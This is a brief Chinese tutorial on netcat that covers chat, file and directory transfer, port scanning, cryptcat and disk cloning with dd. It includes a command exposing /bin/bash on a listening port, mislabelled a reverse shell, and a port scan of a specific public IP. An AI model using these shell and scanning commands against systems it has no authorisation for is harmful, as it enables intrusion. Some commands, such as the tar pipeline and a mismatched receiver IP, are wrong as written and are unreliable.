文章目录
准备环境
pc1:192.168.1.1
pc2:192.168.1.2
参数解析
-l:监听模式
-p:本地端口
-u:使用udp协议
-v:显示连接过程
实时聊天
pc1:nc -lp 2000
pc2:nc 192.168.1.1 2000
传输文件
发端pc1:nc -lp 2000 < wenjian.html
收端pc2:nc 192.168.1.1 2000 > wenjian.html
nc 传输目录
发送端:tar -cf /etc |nc -lp 2000
接收端:nc 192.168.1.2 2000 |tar -xf
nc 进行端口扫描
nc -v -w 2 117.169.20.204 -z 20-1000 #-z:后面是端口范围,很快哟,-w:对于同一台机器,设置的等待时间不同,扫出来的端口信息也不太一样
nc如何扫描udp端口
nc -vuz 192.168.1.25 123
nc 创建反弹shell外壳
(可以是cmd,也可以是shell)(注意:这种用法必须nc支持-e参数,若是nc -h不显示-e参数,则需要重新安装netcat了)
被shell端:nc -lp 2000 -e /bin/bash
连接控制端:nc 192.168.1.2 2000
nc 发送加密聊天数据(nc默认是未加密的,)
安装加密软件:apt install cryptcat
用法:
cryptcat -k mima 192.168.1.2 2000 #-k:后面接设定的密码
cryptcat -lp 2000 -k mima
克隆硬盘或分区
将主机A上的硬盘数据克隆到主机B上的硬盘上,主机B的硬盘上原本没有系统
(注意:克隆硬盘或分区,不应在已经mount的的系统上进行。所以,主机B需要使用安装光盘引导后,进入拯救模式或使用Knoppix工具光盘启动系统后,配置临时ip为192.168.56.33)
主机B上:nc -lp 2000 | dd of=/dev/sda
主机A上:dd if=/dev/sda | nc 192.168.56.33 2000
如果文章对你有帮助,欢迎点击上方按钮打赏作者
暂无评论